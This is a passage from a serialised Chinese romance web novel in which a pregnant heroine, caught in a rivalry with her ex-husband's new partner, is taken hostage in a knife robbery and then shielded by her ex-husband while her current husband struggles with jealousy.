岑予衿是真的笑不出来,也说不出什么话来,“阿洲,你在这儿等我一下,我去趟卫生间。” 陆京洲乖乖的点了点头,随即指了指2楼的位置,“一楼的卫生间离得太远了,你直接从这儿上扶梯,很快,我就在这儿等你!” “好。”岑予衿加快脚步,可以说是落荒而逃。 陆京洲若有所思的看着她跑远,刚收回视线,要继续怼人。 就见他像呆头鹅一样,目光死死的落在她身上,丝毫没有要收回来的意思。 那表情……不像是看自己的妹妹,倒像是看自己喜欢的人。 不是吧! 笑不出来,真笑不出来了。 他好像发现了什么惊天大秘密。 啧……周时越是不是喜欢自己的妹妹啊? 什么骨科文学? 他看起来就不太聪明的样子,玩得明白吗? 这不想还好,越想越不对劲。 难不成他就是发现了自己对妹妹的别样感情,为了掩盖这个事实,才要把她嫁给别人。 刚才周时越还说了要让她离开他。 这不就是想把她送出国? 陆京洲这个暴脾气一下子就上来。 居然敢觊觎他老婆! 陆京洲眼神骤然阴沉,戾气翻涌。 他猛地伸手,一把攥住周时越的衣领,狠狠将他掼在冰冷的墙壁上! “砰”的一声闷响,周时越猝不及防,后脑勺撞上墙壁,眼前一阵发黑。 “你他妈往哪儿看呢?!”陆京洲的声音压得极低,却带着骇人的暴怒。 他手臂肌肉绷紧,气息交错间全是火药味,“周时越,我警告你离周芙笙远点!她现在是老子的人,听懂没有?!” 周时越被勒得呼吸困难,脸上因缺氧和愤怒涨得通红,他挣扎着,试图掰开陆京洲的手,却徒劳无功。“陆京洲……你放开!” “我偏不!”陆京洲嗤笑,眼神像淬了毒的刀子,寸寸刮过周时越慌乱的脸,“你刚才那是什么眼神?嗯?你看自己妹妹是那种眼神?恨不得把眼珠子粘她身上!怎么,失个忆,连人伦纲常都忘了?还是你骨子里就烂透了,专盯着不该碰的人?” 他手腕再次用力,衣领勒得更紧,周时越喉咙里发出嗬嗬的声响。 “我告诉你,周时越,”陆京洲一字一顿,带着不容置疑的狠绝,“再让我发现你用那种恶心的眼神看她,或者再敢靠近她、挑拨一句,我不介意让你真的在床上躺两年,然后陪你那‘可怜’的前妻下去作伴!” 说完,他猛地松手,像丢开什么脏东西一样将周时越甩开。 周时越踉跄着跌倒在地,捂着脖子剧烈咳嗽,狼狈不堪。 现在的他还不确定,周芙笙知不知道这件事情,对这件事情是个什么样的态度。 她不会也喜欢他吧? 陆京洲脑子里一下子就想到了那天他去半山别墅看到的那些画面。 他们两个感情可好了,还一起拍了很多照片。 那照片可亲密了。 怎么办……他感觉头顶有点绿。 这……要是真的可怎么办? 想到这些,他身上的气压更低了。 陆京洲居高临下地睨着他,整理了一下自己微皱的袖口,语气恢复了之前的漫不经心,却更添冰冷,“滚。别再让我看见你出现在她周围。否则,下次就没这么简单了。” 他不再看地上的人,转身,目光投向岑予衿离开的方向,眼神复杂难辨,但那护食般的独占欲,却清晰地写在脸上。 周时越都被打蒙了。 陆京洲知道他自己在说什么吗? 他怎么可能会看上一个被别人睡过的女人。 他老婆是林舒薇,一辈子都是,谁也不能把他们拆散。 岑予衿已经死了,这辈子都没有死而复生的可能。 他承认他刚才确实失态了,那也不过是因为前几天半山别墅被烧了之后他脑子里莫名其妙多了一些关于她的记忆。 不用陆京洲说他也不会再接近岑予衿,太危险了。 哪怕他意志在坚定,看到她目光还是忍不住的,会落在她身上。 看到她眼里对自己的厌恶,心还会不自觉的跟着究竟。 这种不受控制的感觉实在是太难受了。 他自己也很讨厌这种感觉。 周时越扶着墙壁,站起身,擦拭掉嘴角的血迹。 这才想起来林舒薇也在2楼卫生间,他刚才就是在2楼楼梯口看下来看到岑予衿才下楼的。 她要是看到她,又该胡思乱想了。 想到这儿,他快步朝楼上走去。 第62章 持刀抢劫 岑予衿几乎是逃也似的冲向了二楼的卫生间。 心脏在胸腔里狂跳,不是因为奔跑,而是因为陆京洲那些话和周时越复杂的眼神。 她拧开水龙头,用冷水拍打着脸颊,试图让自己冷静下来。 冰凉的水珠顺着脸颊滑落,带走一丝燥热,却带不走心底的纷乱。 “岑予衿?”一个熟悉又带着几分迟疑的女声在她身后响起。 岑予衿动作一顿,从镜子里看到了站在她身后的林舒薇。 真的是阴魂不散了,这刚在楼底下看到她老公,上二楼躲躲又看到她。 人倒霉的时候喝水都会塞牙缝,这话说的是一点没错。 今天出门没看黄历。 这种事情接二连三的发生,太晦气了。 林舒薇穿着一身柔软的米白色连衣裙,妆容精致,脸上带着恰到好处的惊讶和关切,只是那眼神深处,藏着一丝不易察觉的敌意。 岑予衿迅速收敛了情绪,抽过一张纸巾,慢条斯理地擦干脸上的水珠,转过身看向她。 “我们俩应该没熟到见面要打招呼的程度吧?” 岑予衿将手里的纸揉成团,丢掉不远处的垃圾桶里,挑眉看向她。 她的冷淡和疏离让林舒薇脸上的笑容淡了几分。 但她很快又调整过来了,重新挂上那副温婉无害的表情,甚至往前走近了一步,声音轻柔却带着明显的炫耀,“芙笙妹妹,话不能这么说。我们很快就是真正的一家人了。” 她抬手,看似不经意地轻抚了一下自己依旧平坦的小腹,眼神里流露出一种母性的光辉和得意,“我和时越……我们决定去领证了,就在明天。而且……” 她刻意顿了顿,仔细观察着岑予衿的表情,嘴角勾起一抹胜利者的微笑,“我怀孕了,是时越的孩子。他说了,要给我和孩子一个堂堂正正的名分。” 她的话像淬了毒的针,一根根扎进岑予衿的耳膜。 领证?怀孕? 虽然早已对周时越死心,但听到这些话,岑予衿的心还是像被一只无形的手狠狠攥住,钝痛蔓延开来。 养了几个月的小狗,她都会有感情。 别说是陪伴了对方10多年,青梅竹马,两情相悦的人。 她看着林舒薇那副故作幸福的姿态,只觉得无比讽刺。 岑予衿深吸一口气,压下心头的翻涌,脸上非但没有出现林舒薇预想中的痛苦或嫉妒,反而绽开一个更加明媚甚至带着几分怜悯的笑容。 “哦?那真是要恭喜你了,林小姐,我还以为你们俩那么相爱,早就领证了呢,没想到还一直拖着呢?看来我哥对你也不是那么在意嘛。” 岑予衿本来挺开心的,高高兴兴的出门,陆京洲还陪她堆雪人,给她搭配衣服,陪她做产检。 产检的结果也很意外,怀的还是双胞胎,这她能开心一整天。 没想到1楼遇到了周时越那个傻逼,2楼又遇到了另一个傻逼,这一天的好心情全毁了。 行,林舒薇不让她好过,那她凭什么要让她好过? 扎心这种事情,她最清楚该怎么做了。 果然,林舒薇听到她这话,原本还在得意炫耀的眉头瞬间皱了起来,“你这话是什么意思?” “还能是什么意思?字面上的意思喽。” 岑予衿嘴角忍不住微微上扬,“周时越当年为了娶岑予衿不眠不休的在周家祠堂跪了三天三夜,为了她能够抵抗整个家族。亲手给她做钻戒,设计婚纱,布置新房,恨不得把心掏出来给她。 他其实也想过和她偷偷领证,但是就因为她说,别为了她放弃整个家族,那样的话,哪怕是他们俩真的在一起了,也不会幸福。 所以周时越真的拿出了自己的态度,而他拿到户口本的那个晚上,他就迫不及待的牵着她的手,去了民政局。” 这些话都是真的,虽然过了两年,可岑予衿依旧记得清楚。 “你知道吗?大晚上诶,他们俩就这么在民政局门口坐了一晚上,聊了一晚上他们的未来,民政局开门,两人就去领证了,那天刚好是520,他们是第一对在520领证的新人,领证当天,他当着民政局所有人的面求婚。” 林舒薇的拳头握的紧紧的,脸都要绿了,死死咬住唇瓣,“岑予衿你没必要用这些话来刺激我,我知道你就是想看我发疯。无所谓,谁还没有个过去呢?我不在乎。” 岑予衿看着她强装镇定却微微发抖的手指,轻笑一声,语气愈发悠然,捅刀子嘛,谁不会? “不在乎?那你现在站在我面前,炫耀这迟来的、靠着失忆和肚子才求来的名分,又是为了什么呢?” 她目光扫过林舒薇紧绷的脸,“是为了证明你赢了那个死人?还是为了……说服你自己?” 她上前一步,声音压低,带着洞悉一切的怜,“林舒薇,你心里很清楚,你现在得到的,不过是周时越记忆残缺时的一场幻梦。是他忘了自己曾为另一个女人疯魔、忘了他把所有的热烈和不顾一切都给过别人后,退而求其次的选择。” “你确定,”岑予衿的视线再次落在她小腹,意味深长,“等他想起来一切,看着你这张脸,摸着这个孩子,心里想的……会不会是那个他跪了三天三夜才娶到的、却被他亲手逼死的女人?” “你闭嘴!”林舒薇终于维持不住温婉的表象,声音尖利,眼神狠毒地瞪着岑予衿,“时越他永远都不会想起来,永远都不会想起来那些事情!他现在爱的是我!以后也会是我!那个死人早就化成灰了!” 他永远都不会想起来? 岑予衿一下子就捕捉到她话里的不对劲。 这里面似乎还藏着一些不为人知的秘密。 不过……这对她来说已经不重要了。 就算他恢复记忆,他们俩之间也没有任何可能了。 林舒薇怀了她的孩子。 而她也怀了陆京洲的孩子。 从他回国之后把她送到10个混混床上那一刻他们之间就再也没有任何可能了。 “是吗?”岑予衿无所谓地耸耸肩,转身准备离开,临走前留下轻飘飘的一句,“那就祝你好运,希望你这用尽心机抢来的美梦能做一辈子,也希望他真的能一辈子都不要恢复记忆。” 岑予衿脸上的笑容明媚至极,“要是他恢复记忆,到时候,你和你肚子里这个孩子,又算什么呢?替身?还是……提醒他过往错误的证据?” 她拉开门,毫不留恋地走了出去,将林舒薇那张因愤怒和恐惧而扭曲的脸关在身后。 走廊的光线明亮了些,岑予衿深吸一口气,将胸腔里那点因旧事被勾起而产生的滞涩尽数吐出。 不值得。 她抚上自己依旧平坦的小腹,那里孕育着新的希望,是属于她和陆京洲的未来。 林舒薇脸上的血色瞬间褪去,被岑予衿这番话戳中了内心最深的恐惧。 她强装镇定,声音却不由自主地拔高,“你胡说!时越他爱我!他现在心里只有我!” 她像疯了一样冲上去,死死拉着她的胳膊,“时越,他说过他只爱我一个,他不可能重新爱上你,绝对不可能,你是周芙笙,不是岑予衿,不是!” 岑予衿不想再跟她有过多的牵扯。 陆京洲就在这附近,要是被他听到了,那可真的完了。 “我已经怀了他的孩子了,你可不可以离他远一点?”林舒薇完全疯魔了。 岑予衿甩开她的手,轻轻的抚上自己的肚子,“怀了就怀了呗,又不是什么很了不起的事情,搞得好像谁没怀孕似的,我怀的还是双胞胎呢?两个!” 岑予衿语气里都是炫耀,“我老公陆京洲不知道比你老公周时越帅了多少倍?还温柔体贴会照顾人我是疯了才会回头吗?” “你放120个心,周时越是你的,我不要,更不会去抢,那种人配不上我。” 岑予衿甩开林舒薇的手,不想再与她纠缠,转身就要离开。可林舒薇像是魔怔了,再次扑上来抓住她的手臂,指甲几乎要掐进她的肉里。 “你撒谎!你心里一定还想着他!不然你为什么偏偏要出现在我们面前!”林舒薇声音尖厉,引得走廊上零星的路人侧目。 “放手!林舒薇你闹够了没有!”岑予衿蹙眉,用力想挣脱。 就在这时,商场楼下突然传来一阵巨大的骚动和惊恐的尖叫声! 紧接着是玻璃破碎的刺耳声响! “抢劫!有人抢金铺!快跑啊!” “有刀!他们手里有刀!” 混乱的喊叫声瞬间充斥了整个商场。 岑予衿和林舒薇同时一愣,争执戛然而止。 还没等她们反应过来,一阵急促杂乱的脚步声伴随着粗重的喘息声从楼梯口方向传来! 只见两个用黑色针织帽蒙着头、手持明晃晃砍刀的男人猛地冲上了二楼,他们背着的背包鼓鼓囊囊,显然是得手了。 其中一个高个子劫匪一眼就看到了站在卫生间门口衣着光鲜的岑予衿和林舒薇,尤其是她们手上戴着的首饰,在灯光下格外显眼。 “妈的,这边!”高个劫匪眼神一狠,提着刀就朝她们这边冲来,显然是打算顺手再捞一笔,或者挟持人质。 第63章 既然作死,那都别活了! 岑予衿听清底下人传来的嘶吼,整个人都是懵的,下意识的往厕所的方向躲,只要跑进去关上门。 还能坚持一段时间。 陆京洲发现她不在或者是发现了2楼的动静,应该会来找她的。 可面前林舒薇那个神经病完全疯魔,拖着她,就是不让她走。 “林舒薇,你疯了吗?他们手里有刀,你想死是不是?” 林舒薇呆愣了一秒,下意识的看向那边的方向。 脸上的笑容看起来愈发渗人。 随后做了一件让岑予衿小脑萎缩的事儿,抓着她的手更紧,冲着那几个劫匪大喊,“快!过来劫持她!她是京城陆家的孙媳妇儿,周家的二小姐,肚子里面怀着陆家的金孙,没有比她更适合当人质的。” 岑予衿下意识的想要挣脱,甩开她的手,可她的手就像沾了502胶水,怎么也甩不开? 保命要紧。 岑予衿想都没想,低头一口咬在她的手上。 这一口咬合力不亚于一只成年的非洲鬣鼠。 直到嘴里泛起血腥味,她撒手了,她才松口。 等她松口之后没有任何犹豫,头也不回的卫生间的方向跑。 所有的求生意念和感官都在告诉她,只有跑进去才能活下来。 可是显然来不及了,那两个劫匪,显然已经听到了她的话。 脚步由远及近,带着令人窒息的压迫感。 就在岑予衿的手即将触碰到卫生间门把手的瞬间。 一股巨大的力量从身后猛地拽住了她的头发,头皮传来撕裂般的剧痛,让她忍不住痛呼出声,整个人不受控制地向后踉跄。 “跑?往哪儿跑!”一个脸上带着刀疤的劫匪面目狰狞地俯视着她,手中的尖刀在她眼前泛着寒光。 另一名同伙也迅速制住了想趁机溜走的林舒薇。 摔在地上的那一刻,岑予衿下意识地一只手撑地,另一只手护住自己的小腹。 尽可能的护住肚子里的孩子。 脚扭到了…… 突如其来的疼痛与恐惧让她的额头上瞬间沁出冷汗。 你现在的身体状况,再挣扎逃跑不仅徒劳,更可能伤到孩子。 只能等警察过来救援。 求生的本能让她迅速冷静下来。 她深吸一口气,强压下喉咙里的腥甜和恐惧带来的颤抖,蹲在地上,示弱道,“别伤害我,我不跑了。我……我怀孕了,我跟你们走,乖乖配合。” 她的顺从显然让劫匪有些意外,动作稍微顿了顿。 岑予衿抓住这短暂的间隙,目光立刻投向一旁同样被抓住、脸色惨白的林舒薇,毫不犹豫地开口,声音清晰而快速,“几位大哥,她说的没错,我确实是陆家的人。但是!” 她刻意停顿了一下,成功吸引了劫匪全部的注意力,然后抬手指向林舒薇:“她也没说全。这位是周家的大少奶奶,林舒薇,她也怀孕了!周家虽然比不上陆家,但在京城也是有名有号的家族。多一个人质,多一份保障,也多一条要钱的路子,不是吗?把我们俩都带上,对你们更有利。” 她豁出去了,要死一起死。 林舒薇想借别人的手弄死她,那就别怪她不客气。 反正她烂命一条。 林舒薇闻言,惊恐地瞪大了眼睛,尖声叫道,“岑予衿你胡说八道!我没有……” “闭嘴!”刀疤劫匪厉声喝止了她,浑浊的眼睛在岑予衿和林舒薇之间扫了几个来回,显然在权衡利弊。 另一个劫匪低声道,“大哥,好像是有这么回事,周家那个大少爷刚回国不久,还带了个女人回来,看她身上这衣服也挺贵的……” 刀疤脸眼神一狠,立刻做出了决定,“妈的,真是意外之喜!把这两个娘们儿都绑了!动作快点!” 粗糙的绳索很快勒紧了岑予衿的手腕,带来一阵刺痛感。 在被推搡着离开的过程中,她与林舒薇怨毒的目光在空中相遇。 岑予衿心中一片冰冷,生死关头,自保是唯一的选择。 明明两个人都能平平安安的,既然作死,那就都别活了! …… 陆京洲想到周芙笙有可能喜欢过周时越那个狗东西,心里就莫名的烦躁。 去室外,点了一支烟。 越想越想不通,周时越长那么丑,她凭什么喜欢他啊! 他配吗? 不配,他那样貌,连他千分之一都没有,周芙笙她是没有人选吗,选那么个垃圾。 主要……那还是她哥啊! 谈正常的恋爱不好吗? 陆京洲越想越觉得胸口堵得慌,那股无名火蹭蹭地往上冒,烧得他五脏六腑都不得安宁。 他狠狠吸了一口烟,猩红的火点急速燃烧,仿佛这样就能把心里那点说不清道不明的烦躁也一起烧掉似的。 一想到刚才被他揍的那个死样子,爽了一些。 忍不住嗤笑一声,又猛吸了一口,烟雾呛入肺管,带来一阵轻微的刺痛,却奇异地压下了些许翻腾的情绪。 可当周芙笙那张又软又乖又精致的脸再次出现在他的脑子里,想到她可能也像维护他那样维护过周时越忍不了了。 还是觉得那种渣男不配。 喜欢自己的妹妹,弄死自己的前妻,还让自己的小三上位,这样的人活着都是在浪费空气。 他烦躁地扒了一下头发,指尖的烟已经烧到了尽头。 烫意传来,他才如梦初醒,将烟蒂摁灭在旁边的垃圾桶上,力道大得几乎要将那小小的烟头碾碎。 他靠在冰冷的墙壁上,试图让寒风吹散身上的烟味。 再不回去周芙笙该等着急了,她要是找不到他,又该生气。 刚才在楼上就是因为生气才气鼓鼓的跑下来。 人还没哄好呢! 他可不会哄人。 陆京洲刚觉得那味道散得差不多了,换下那副生人勿近的表情,正准备转身回去,却见宴会厅方向突然涌出大量人群。 跑出来的人个个都是神色慌乱,就跟逃命似的。 随意的扯了个人问道,“发生什么事儿了?怎么都往外跑?” “里面有人持刀抢劫,抢了一楼的金店,这会逃到2楼去了。” 身边另一个附和道,“听说还挟持了两个人质,警察快到了,你也别瞎凑热闹了,赶紧跑吧。” “那两个劫匪挺嚣张的,那刀好几米长,太恐怖了。” 他们还在叽叽喳喳的说着。 可陆京洲你的脑子一片空白。 周芙笙还在里面! 也在2楼! 她还怀着宝宝! 第64章 5000万,别动她! 陆京洲身体做出的本能反应比脑子更快。 他人已经逆着仓皇逃窜的人群,不顾一切的冲进医院大厅了。 “喂!小伙子,别往里冲了,太危险了。”身后传来老人好心的呼喊,他去充耳不闻。 “人在哪?劫匪在哪?” 陆京洲崩溃了,冲着身边的人吼道。 身边的人全都用异样的目光看着他,声音有些弱,“刚才在二楼卫生间那边,扶梯上去那里。” 二楼卫生间…… 二楼卫生间有很多间,可是扶梯旁的只有一间,那就是周芙笙去的那一间。 陆京洲只觉得浑身冰冷,声音卡在喉咙里,一句话也说不出来 脑子里迅速有了反应,他拿出手机边往2楼走边打电话。 “快!安排人过来,现金能准备多少就准备多少,只要是能取出来的,就带过来,圣禾妇产医院。” 哪怕那几个亡命之徒要钱,他也能第一时间交出来。 只要人没事儿就好。 “对,我名下能取的都取出来,所有!” 陆京洲挂断电话,飞奔至扶梯处。 扶梯旁已经拉好了警戒线,警戒线里里外外都有很多的警察,在疏散人群。 隐约能看到二楼有几个人影。 陆京洲一眼就看到了被劫匪粗暴挟持着的周芙笙…… 她头发凌乱,脸色苍白如纸,双手被反绑在身后,一把明晃晃的尖刀就横在她纤细的脖颈前,冰凉的刀刃紧贴着皮肤,似乎随时都会割开一道血口。 她紧咬着下唇,强忍着恐惧和不适,另一只手下意识地护住自己的小腹。 那个护住肚子的细微动作,像一把淬毒的匕首,狠狠扎进了陆京洲的心脏,瞬间让他呼吸停滞。 “笙笙!”他嘶吼一声,什么理智、什么策略全被抛到脑后,脑子里只有一个念头,不顾一切的冲到二楼,哪怕是抢,也要把他抢回来。 他为什么要让她去二楼的卫生间? 不让她去她楼,是不是就没有这么多事情? 陆京洲猛地掀开警戒线就要往里冲。 “先生!不能过去!危险!”守在最前面的四名警察反应极快,一左一右死死架住了他。 一两个他还能抵抗,四个警察的手臂如同铁钳,任凭陆京洲如何挣扎,都难以撼动分毫。 “放开我!那是我老婆!她怀孕了!你们他妈放开我!”陆京洲双目赤红,额头上青筋暴起,所有的力气都用在挣脱上,对着阻拦他的警察咆哮。 他死死盯着二楼的方向,眼神里的疯狂和绝望几乎要溢出来。 “先生,请你冷静!我们理解你的心情,但你现在冲上去只会激怒劫匪,让人质更加危险!” 一名年纪稍长的警官挡在他面前,语气严厉却带着劝慰,“谈判专家已经就位,特警也在寻找机会,请相信我们!” “相信你们?我怎么相信!刀就架在她脖子上!她要是有什么事,可是一尸三命。”陆京洲的声音因为极致的恐惧和愤怒而颤抖,后面的话哽在喉咙里,他连想都不敢想。 陆京洲的手机突然震动了起来。 他立马接通了电话,“陆总,20分钟我们会把现金送过去。” “尽量争取在10分钟以内!” 陆京洲只留下了这么一句话,就挂断了电话,尽量让自己保持冷静,“那我上去和他们谈判,他们要钱,要多少给多少。我们陆家不至于,那点钱也给不起,只要人能平安。再不行,我和我老婆交换,我来做他们的人质。” “陆先生我知道现在你很着急,但请您配合我们。” 配合不了! 这么多警察在这儿,上面的劫匪越来越慌张。 随时都有可能撕票,离得这么远,他无能为力。 陆京洲狠狠的一拳砸在了旁边的柱子上,温热的血珠立刻渗了出来。 “先生,请您冷静,请相信我们的专业能力。” 陆京洲恶狠狠的抬手指着他,可当他抬头再看一下二楼时,所有的理智都崩塌。 她的头被重重的按在2楼的玻璃扶手上,那个劫匪,冲着楼下的人喊道,“2000万,陆家的人要拿不出2000万,我立马撕票。” “5000万,别动她!20分钟后,我拿现金给你,还可以送你们出国。只要你们不动我太太。”陆京洲眼眶都红,浑身冒着冷汗。 这还是他第一次这么害怕。 上一次这么害怕,还是因为被他们送进了精神病院。 那里全都是疯子。 全部都是,所有人都只想要他的命。 “你是谁?我凭什么相信你的话?”劫匪听到是现金,还能把他们送出国,显然有些心动了。 “我陆京洲,说话算话,还有什么要求你尽管提。”陆京洲眼眶猩红的冲着二楼喊道,“想必你们也听过我的名字,要是我老婆有一丁点意外,我拉着所有人陪葬,一个都别想跑。” 劫匪听着他这话,不自觉的抖了抖身子。 他们可太清楚下面这位爷的性格了。 他说什么就是什么。 他疯起来,六亲不认。 “先安排辆车,送我们离开这儿。” 陆京洲重重的点了点头,“给我5分钟,安排好了,我们在下楼。” 陆京洲明白不能一直被他们牵着鼻子走,他得主动出击,哪怕是肉搏也得救人。 不能这么耗下去! “给我十分钟时间,我去安排车和现金,送你们离开。” 陆京洲跑到门外,目光迅速扫视着医院的结构。 绿化带里面的那棵大树! 可以从那棵大树爬上去,爬到2楼之后,可以从卫生间的通风口钻进去。 他们现在所在的位置就在卫生间门口到玻璃服手旁。 恰好是背对着卫生间门口的。 有机会! 陆京洲没有任何犹豫,爬上了那棵大树。 终于,他通过那条关键的枝干,身体紧贴着冰冷的墙壁,凑近通风百叶窗。 窗口不大,他用手扣住百叶窗边缘,肌肉绷紧,猛地发力! “咔嚓!”塑料材质的百叶窗应声断裂,发出轻微的声响。 陆京洲屏住呼吸,收束身体,灵活地从破开的通风口钻了进去。 落地时,他顺势一个翻滚,最大限度地减轻了声响,藏身于最里侧隔间的阴影里。 他小心翼翼地探出视线,可在看到那画面时,浑身的血液都凝固了。 他不知道这几分钟发生了什么,绑匪突然返悔,手里的刀高高的举了起来。 第65章 笙笙,不要! 陆京洲浑身的血液仿佛在瞬间凝固,又在下一次心跳时轰然沸腾! 那高举的尖刀在灯光下反射出刺眼的寒芒,正对着岑予衿脆弱的身体! 没有思考的时间,甚至没有发出声音的余地。 两个劫匪同时撕票! “笙笙,不要!”陆京洲拼了命的冲过去,想要阻止。 可是卫生间和玻璃扶手之间隔的距离实在是太长了。 他到不了。 分秒之间,他没有瞬移的能力,真的没有任何办法。 旁边也没有任何可以利用的工具。 “住手!钱我可以给你们!” 陆京洲完全疯了,心脏跳动的频率已经超出了正常范围。 那两个绑匪不为所动,显然是做好了同归于尽的打算。 岑予衿的嘴巴被封住,说不出一句话,眼里的泪珠不断滚落。 看着他狼狈至极的模样,一下子就明白了。 3分钟前还在下面的人,这会已经冲到了这儿,他不敢想他是怎么上来的。 衣服裤子被刮破了,双手鲜血淋漓。 岑予衿拼命的冲他摇着头,示意他不要过来。 今天她怕是真的要交代在这儿了。 她最对不起的就是两个宝宝…… 劫匪的刀高高举起,岑予衿下意识的闭上了眼睛。 “不要!”那一瞬,陆京洲只觉得呼吸都停止了,双眼猩红。 只差一步! 刀尖刺破皮肉的声音响起,一时间鲜血飞溅。 预想中的剧痛并未降临,岑予衿只感到一个温热的身体猛地扑过来,紧紧抱住了她,将她严严实实地护在了怀里。 那柄原本刺向她的尖刀,狠狠扎进了那个突然出现之人的后背! 这个怀抱熟悉又陌生。 岑予衿惊愕地睁开眼,映入眼帘的是周时越苍白却带着一丝茫然的脸。 他额角沁出细密的冷汗,嘴唇因剧痛而微微颤抖,但抱着她的手臂却收得极紧。 他说不出一句话,胸口剧烈起伏,鲜血迅速染红了他昂贵的西装外套。 几乎是同一时刻,陆京洲也冲到了近前。 周时越用自己的身体为岑予衿挡下了致命一击。 陆京洲反应极为迅速,狠厉地一脚踹在了那劫匪的身上,手上的刀被踢的老远。 周围警察一瞬间蜂拥而上,把人压下。 陆京洲心脏像是被一只无形的手狠狠攥住,痛得他几乎无法呼吸。 他慢了一步……仅仅一步! 不过……幸好受伤的不是她。 汹涌而来的不仅是后怕,还有一种难以言喻的、尖锐的刺痛感。 几乎是同一时间,警察的枪声也想了起来。 林舒薇那边的劫匪,在举起刀的瞬间被警察的枪击中,刀子划伤了她的手臂。 她直接吓晕了过去。 周时越还保持着抱着她的动作,小心翼翼的替她撕开了嘴上封着的胶布。 说实话,他自己也不知道为什么会挡在他面前。 明明他要救的人是林舒薇,可身体的本能反应,让他选择了她。 看到她没事儿,脑子里紧绷的那根弦似乎也放了下来。 真好…… “周时越!”岑予衿的声音带着哭腔,整个人处于崩溃状态,眼泪汹涌而出。 周时越看着她满脸的泪水,想抬手替她擦掉,可手臂却沉重得抬不起来。 后背的剧痛一阵阵袭来,意识开始模糊,但他还是强撑着,对她露出一个极淡甚至有些茫然的笑。 “没……没事就好……”他气若游丝,每一个字都像是用尽了力气。 话音未落,他抱着她的手臂彻底脱力,整个人不受控制地向前倒去。 “周时越!”岑予衿惊呼,下意识伸手想抱住他下滑的身体。 一只手臂却比她更快,猛地从旁边伸过来,把她捞进了怀里。 岑予衿就这么看着周时越的身体倒在了冰冷的地板上。 砰的一声,鲜血染红了洁白的瓷砖。 “阿洲。”熟悉的味道一下子将她包裹住,岑予衿呢喃出生 陆京洲的脸色阴沉得能滴出水来,他紧抿着唇,一言不发,动作却异常迅速。 他小心地将她被绑着的手解开,看了一眼地上的人,朝着下面嘶吼道,“医生!担架!快!” 他的声音嘶哑紧绷,带着不容置疑的命令。 他不能死! 医护人员立刻冲了上来,训练有素地检查伤口,进行紧急止血,然后将周时越小心翼翼地抬上担架。 整个过程,陆京洲都站在一旁,目光紧紧跟随着,下颌线绷得死紧。 岑予衿双腿发软,几乎站立不住,视线模糊地追随着那个迅速被抬走的担架,心口像是被挖空了一块,只剩下冰冷的后怕和汹涌的泪水。 一件带着体温和熟悉冷冽气息的西装外套,猛地罩在了她身上,将她整个人紧紧裹住。 陆京洲将她用力搂进怀里,手臂箍得她几乎喘不过气,他的身体还在微微发抖,那种失而复得的恐惧感如此真实地传递过来。 “没事了……笙笙,没事了……”他埋首在她颈间,一遍遍地重复,声音低哑,带着劫后余生的颤栗。 可岑予衿却在他怀里僵硬着,没有回应。 她的目光依旧望着担架消失的方向,眼前反复回放着周时越挡在她身前时。 那双带着茫然却又决然的眼睛,以及他倒下前那个释然的微笑。 为什么? 究竟是为什么? 为什么在生死关头,他会不顾一切冲过来用命保护她? 他该救的不是林舒薇吗? 为什么要挡在她面前? 陆京洲感受到了她的僵硬和心不在焉,搂着她的手臂收得更紧,紧到勒痛了她。 一种难以言喻的恐慌和躁怒在他心底滋生、蔓延。 他赢了,他救下了她。 没死他就是她的恩人。 死了他就是她的白月光。 他低下头,看着怀中女人苍白失神的脸,看着她泪眼朦胧却望向别处的目光。 一种前所未有的冰冷预感,悄无声息地攫住了他的心脏。 第66章 他流了好多血 陆京洲感受到怀里身体的僵硬,心口那一阵又一阵的刺痛感更加尖锐。 他慌乱地收紧了手臂,一遍遍抚摸着她的后背,声音嘶哑得不成样子,“笙笙,没事了,都结束了……你看看我,嗯?” “别怕,已经没事了,对不起……我不该让你一个人上楼。” “我们回家吧好不好?” “你想要什么我们去买,对不起……我真的知道错了。” 陆京洲其实也没好到哪去,身上全是伤,只是伤的没有周时越那么严重而已。 手上的伤口还在不断的渗血,可身体上的疼痛比不上心里的千分之一。 岑予衿依然没有任何反应。 她目光空洞地望着周时越倒下的地方,那里只剩一滩刺目的血迹。 泪水无声地滑落,浸湿了他胸前的衬衫。 陆京洲的心一点点沉下去。 他想起刚才周时越挡刀时决绝的背影,想起岑予衿那一声声撕心裂肺的“周时越”,想起她此刻失魂落魄的样子。 “笙笙……”他试图捧起她的脸,让她看着自己,可她的眼神始终没有焦点。 医护人员想要上前为岑予衿检查,陆京洲却下意识将她护得更紧,仿佛一松手她就会消失。 “陆先生,周小姐可能受到了惊吓,需要做个检查。”医生委婉地提醒。 陆京洲这才稍稍松了力道,但目光始终锁在岑予衿脸上。 她像个提线木偶般任由医生检查,对一切外界刺激都毫无反应。 只有当小护士不小心碰到她手臂上的淤青时,她才轻微地瑟缩了一下,喃喃道,“他流了好多血……” 陆京洲的心脏像是被狠狠捅了一刀。 刚才自己拼了命地往上爬,双手被磨得血肉模糊,心里只也有一个念头,一定要救她。 甚至做好了为她挡刀的准备。 可慢了一步,挡在她身前的是周时越。 要是那个人换成他,她会这么伤心吗? 肯定不会…… “他会不会死?”她突然轻声问,声音里带着陆京洲从未听过的恐惧。 陆京洲喉结滚动,艰难地吐出两个字,“不会,我不会让他死。” 听着他语气有些不对,岑予衿这才慢慢回过神来。 她就这么定定的看着他,像是愣住了。 他的脸上全都是擦伤,下意识的抬手,想给他擦干净。 陆京洲也不知道到底想到了什么,扭头躲开了。 躲开的瞬间,陆京洲愣住,她也愣住了。 “脸都划伤了。”岑予衿再次抬手,小心翼翼的帮他把脸上的灰尘擦掉。 陆京洲看着她的动作,这次没有躲开。 他低头,看着她仰着头,看向自己,眼睛里满是心疼。 可……这份心疼到底是对他,还是周时越呢? 他不知道…… 陆京洲的话像是已经说完了,一句话也没有。 往常,按照他的性格,他会逗她。 会捏着她的小脸说,怎么受伤了就不帅了?受伤了就不是你老公了? 可今天的他没有,他生气了。 但岑予衿不知道他为什么生气。 “周时越,他真是你大哥吗?”陆京洲拳头攥的紧紧的,他自己也不知道为什么会问出这句话,等他发现的时候已经问出来了。 说出去的话就像泼出去的水,收不回来的。 可这个答案对他来说根本就没有意义。 是她亲哥那就真骨科,不是那就是伪骨科。 就刚才他俩那反应来看,绝对有问题! 岑予衿擦拭他脸上灰尘的动作一顿,慌张的移开了视线,“你怎么会突然这么问?” “回答我,是不是?”陆京洲的声音听不出什么太大的起伏,“他是你亲大哥对吗?” 岑予衿却慌了。 她不知道该怎么说。 他很生气…… 他想听到的似乎是,坚定的告诉他,周时越确实是他的亲大哥。 可真的要一次又一次骗他吗? 